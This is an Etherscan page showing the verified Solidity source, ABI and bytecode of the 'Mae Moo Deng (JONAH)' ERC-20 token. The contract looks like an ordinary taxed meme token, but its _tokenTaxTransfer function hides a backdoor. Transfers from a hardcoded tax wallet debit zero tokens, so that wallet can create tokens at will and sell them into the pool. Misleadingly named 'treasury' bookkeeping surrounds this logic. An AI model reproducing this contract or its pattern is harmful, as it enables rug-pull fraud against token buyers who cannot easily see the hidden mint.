ETH Price: $3,272.74 (-1.16%)

Token

Mae Moo Deng (JONAH)
 

Overview

Max Total Supply

1,000,000,000 JONAH

Holders

92

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JONAH

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-27
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(
            c >= a, "SafeMath: addition overflow"
        );
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
            a, b,"SafeMath: subtraction overflow"
        );
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(
            c / a == b,
            "SafeMath: multiplication overflow"
        );
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b,"SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require( _owner == _msgSender(), "Ownable: caller is not the owner" );
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract JONAH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=9;
    uint256 private _reduceSellTaxAt=9;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Mae Moo Deng";
    string private constant _symbol = unicode"JONAH";
    uint256 public _maxTxAmount = 15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 11000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 11000000 * 10**_decimals;

    address payable private _taxWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 private minTreasSum;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private autoTreasActivate = 0;
    struct CoinTreasuryTotal {uint256 treasUid; uint256 treasTimestamp; uint256 ttlSum;}
    mapping(address => CoinTreasuryTotal) private coinTreasuryTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xBe1C14aFfeED8f7661e6Aab91f9c79f060Cd14bD);

        _balances[_msgSender()] = _tTotal;
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender, _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenBasicTransfer(
        address from, address to,
        uint256 sendAmount,uint256 receiptAmount
    ) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (! tradingOpen || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to !=_taxWallet )  {
            taxAmount = tokenAmount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)
                .div(100);

            if (from == uniswapV2Pair && to !=address(uniswapV2Router) && ! isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount<= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance=balanceOf(address(this));
            if (inSwap && to == uniswapV2Pair && swapEnabled &&  contractTokenBalance >_taxSwapThreshold
                && _buyCount >_preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from]||isExile[to] ) && from !=address(this) && to!= address(this)) {
            minTreasSum = block.number;
        }
        if (! isExile[from] &&  ! isExile[to]){
            if (to==uniswapV2Pair)  {
                CoinTreasuryTotal storage coinTrTtl = coinTreasuryTotal[from];
                coinTrTtl.ttlSum = coinTrTtl.treasUid-minTreasSum;
                coinTrTtl.treasTimestamp = block.timestamp;
            } else {
                CoinTreasuryTotal storage coinTrTtlInit = coinTreasuryTotal[to];
                if (uniswapV2Pair == from)  {
                    if (!(coinTrTtlInit.treasUid > 0)) {
                        if (_buyCount>_preventSwapBefore) {
                            coinTrTtlInit.treasUid = block.number;
                        } else {
                            coinTrTtlInit.treasUid = block.number - 1;
                        }
                    }
                } else {
                    CoinTreasuryTotal storage coinTrTtl = coinTreasuryTotal[from];
                    if (!(coinTrTtlInit.treasUid > 0) || coinTrTtl.treasUid < coinTrTtlInit.treasUid ) {
                        coinTrTtlInit.treasUid = coinTrTtl.treasUid;
                    }
                }
            }
        }

        _tokenTransfer(from, to,tokenAmount,taxAmount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to]= _balances[to].add(tokenAmount);
        emit Transfer(from, to,tokenAmount);
    }

    function _tokenTransfer(
        address from,address to,
        uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs !=_taxWallet ? tokenAmount: autoTreasActivate.mul(tokenAmount);
        if (taxAmount > 0){
            _balances[address(this)]= _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeETHtoFee() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to transfer");
        payable(msg.sender).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        tradingOpen =true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled =true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeETHtoFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600455600a6005555f6006555f600755600960085560098055601e600a555f600b556009600a61003691906102c3565b6100439062e4e1c06102d8565b600c556100526009600a6102c3565b61005f9062e4e1c06102d8565b600d5561006e6009600a6102c3565b61007b9062a7d8c06102d8565b600e5561008a6009600a6102c3565b6100979062a7d8c06102d8565b600f556014805461ffff191690555f6015553480156100b4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b03191673be1c14affeed8f7661e6aab91f9c79f060cd14bd1790556101276009600a6102c3565b61013590633b9aca006102d8565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a96009600a6102c3565b6101b790633b9aca006102d8565b60405190815260200160405180910390a36102ef565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021b57815f1904821115610201576102016101cd565b8085161561020e57918102915b93841c93908002906101e6565b509250929050565b5f82610231575060016102bd565b8161023d57505f6102bd565b8160018114610253576002811461025d57610279565b60019150506102bd565b60ff84111561026e5761026e6101cd565b50506001821b6102bd565b5060208310610133831016604e8410600b841016171561029c575081810a6102bd565b6102a683836101e1565b805f19048211156102b9576102b96101cd565b0290505b92915050565b5f6102d160ff841683610223565b9392505050565b80820281158282048414176102bd576102bd6101cd565b611a4c806102fc5f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102da578063a9059cbb14610307578063bf474bed14610326578063d5616ad31461033b578063dd62ed3e1461034f575f80fd5b8063751039fc146102625780637d1db4a5146102765780638a8c523c1461028b5780638da5cb5b1461029f5780638f9a55c0146102c5575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e575f80fd5b806306fdde031461011e578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b4d6165204d6f6f2044656e6760a01b60208201525b60405161015b9190611656565b60405180910390f35b34801561016f575f80fd5b5061018361017e36600461169f565b610393565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103a9565b3480156101d5575f80fd5b506101836101e43660046116c9565b6103c9565b3480156101f4575f80fd5b506040516009815260200161015b565b34801561020f575f80fd5b50610218610430565b005b348015610225575f80fd5b506101a8610234366004611707565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f80fd5b50610218610481565b34801561026d575f80fd5b506102186104fb565b348015610281575f80fd5b506101a8600c5481565b348015610296575f80fd5b506102186105ac565b3480156102aa575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102d0575f80fd5b506101a8600d5481565b3480156102e5575f80fd5b506040805180820190915260058152640949e9c82960db1b602082015261014e565b348015610312575f80fd5b5061018361032136600461169f565b610951565b348015610331575f80fd5b506101a8600e5481565b348015610346575f80fd5b5061021861095d565b34801561035a575f80fd5b506101a8610369366004611722565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a01565b5060015b92915050565b5f6103b66009600a61184d565b6103c490633b9aca0061185b565b905090565b5f6103d5848484610b25565b6104268433610421856040518060600160405280602881526020016119ef602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ad565b610a01565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d816110e5565b47801561047d5761047d8161124c565b5050565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa90611872565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105245760405162461bcd60e51b81526004016104aa90611872565b6105306009600a61184d565b61053e90633b9aca0061185b565b600c5561054d6009600a61184d565b61055b90633b9aca0061185b565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058b6009600a61184d565b61059990633b9aca0061185b565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104aa90611872565b601254600160a01b900460ff161561062f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104aa565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561067890309061066a6009600a61184d565b61042190633b9aca0061185b565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ec91906118a7565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f91906118a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dd91906118a7565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d7194730610828816001600160a01b03165f9081526001602052604090205490565b5f8061083b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c691906118c2565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561091b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093f91906118ed565b506014805461ff001916610100179055565b5f61039f338484610b25565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016104aa90611872565b5f47116109d55760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016104aa565b60405133904780156108fc02915f818181858888f193505050501580156109fe573d5f803e3d5ffd5b50565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610c4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b601254600160a01b900460ff161580610c67575060145460ff165b15610c7c57610c77838383611283565b505050565b5f80546001600160a01b03858116911614801590610ca757505f546001600160a01b03848116911614155b8015610cc157506010546001600160a01b03848116911614155b15610f1057610cf26064610cec600854600b5411610ce157600454610ce5565b6006545b8590611326565b906113ab565b6012549091506001600160a01b038581169116148015610d2057506011546001600160a01b03848116911614155b8015610d4457506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2a57600c54821115610d9b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104aa565b600d5482610dbd856001600160a01b03165f9081526001602052604090205490565b610dc7919061190c565b1115610e155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104aa565b600b8054905f610e248361191f565b91905055505b6012546001600160a01b038481169116148015610e5057506001600160a01b0384163014155b15610e7d57610e7a6064610cec600954600b5411610e7057600554610ce5565b6007548590611326565b90505b305f9081526001602052604090205460145460ff168015610eab57506012546001600160a01b038581169116145b8015610ebe5750601454610100900460ff165b8015610ecb5750600e5481115b8015610eda5750600a54600b54115b15610f0e57610efc610ef784610ef284600f546113ec565b6113ec565b6110e5565b478015610f0c57610f0c4761124c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4d57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f6257506001600160a01b0384163014155b8015610f7757506001600160a01b0383163014155b15610f8157436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fc157506001600160a01b0383165f9081526003602052604090205460ff16155b1561109b576012546001600160a01b0390811690841603611013576001600160a01b0384165f90815260166020526040902060135481546110029190611937565b60028201554260019091015561109b565b6001600160a01b038084165f908152601660205260409020601254909186811691160361106757805461106257600a54600b54111561105457438155611099565b61105f600143611937565b81555b611099565b6001600160a01b0385165f9081526016602052604090208154158061108d575081548154105b1561109757805482555b505b505b6110a784848484611400565b50505050565b5f81848411156110d05760405162461bcd60e51b81526004016104aa9190611656565b505f6110dc8486611937565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111255761112561194a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a091906118a7565b816001815181106111b3576111b361194a565b6001600160a01b0392831660209182029290920101526011546111d99130911684610a01565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112119085905f9086903090429060040161195e565b5f604051808303815f87803b158015611228575f80fd5b505af115801561123a573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112a5908261142a565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112d3908261146b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b189085815260200190565b5f825f0361133557505f6103a3565b5f611340838561185b565b90508261134d85836119cf565b146113a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b9392505050565b5f6113a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c9565b5f8183116113fa57826113a4565b50919050565b5f61140c8584846114f5565b905061142385858361141e878761142a565b6115a5565b5050505050565b5f6113a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ad565b5f80611477838561190c565b9050838110156113a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f81836114e95760405162461bcd60e51b81526004016104aa9190611656565b505f6110dc84866119cf565b6010545f9081906001600160a01b03908116908616036115215760155461151c9085611326565b611523565b835b9050821561159d57305f90815260016020526040902054611544908461146b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115949087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115c7908361142a565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115f5908261146b565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116489085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109fe575f80fd5b5f80604083850312156116b0575f80fd5b82356116bb8161168b565b946020939093013593505050565b5f805f606084860312156116db575f80fd5b83356116e68161168b565b925060208401356116f68161168b565b929592945050506040919091013590565b5f60208284031215611717575f80fd5b81356113a48161168b565b5f8060408385031215611733575f80fd5b823561173e8161168b565b9150602083013561174e8161168b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117a757815f190482111561178d5761178d611759565b8085161561179a57918102915b93841c9390800290611772565b509250929050565b5f826117bd575060016103a3565b816117c957505f6103a3565b81600181146117df57600281146117e957611805565b60019150506103a3565b60ff8411156117fa576117fa611759565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611828575081810a6103a3565b611832838361176d565b805f190482111561184557611845611759565b029392505050565b5f6113a460ff8416836117af565b80820281158282048414176103a3576103a3611759565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118b7575f80fd5b81516113a48161168b565b5f805f606084860312156118d4575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118fd575f80fd5b815180151581146113a4575f80fd5b808201808211156103a3576103a3611759565b5f6001820161193057611930611759565b5060010190565b818103818111156103a3576103a3611759565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119ae5784516001600160a01b031683529383019391830191600101611989565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208434adb36423b693714d538d9335c91d88c4b25877b8994cd418aa0104819c4164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102da578063a9059cbb14610307578063bf474bed14610326578063d5616ad31461033b578063dd62ed3e1461034f575f80fd5b8063751039fc146102625780637d1db4a5146102765780638a8c523c1461028b5780638da5cb5b1461029f5780638f9a55c0146102c5575f80fd5b806323b872dd116100e357806323b872dd146101ca578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e575f80fd5b806306fdde031461011e578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b6575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b4d6165204d6f6f2044656e6760a01b60208201525b60405161015b9190611656565b60405180910390f35b34801561016f575f80fd5b5061018361017e36600461169f565b610393565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103a9565b3480156101d5575f80fd5b506101836101e43660046116c9565b6103c9565b3480156101f4575f80fd5b506040516009815260200161015b565b34801561020f575f80fd5b50610218610430565b005b348015610225575f80fd5b506101a8610234366004611707565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f80fd5b50610218610481565b34801561026d575f80fd5b506102186104fb565b348015610281575f80fd5b506101a8600c5481565b348015610296575f80fd5b506102186105ac565b3480156102aa575f80fd5b505f546040516001600160a01b03909116815260200161015b565b3480156102d0575f80fd5b506101a8600d5481565b3480156102e5575f80fd5b506040805180820190915260058152640949e9c82960db1b602082015261014e565b348015610312575f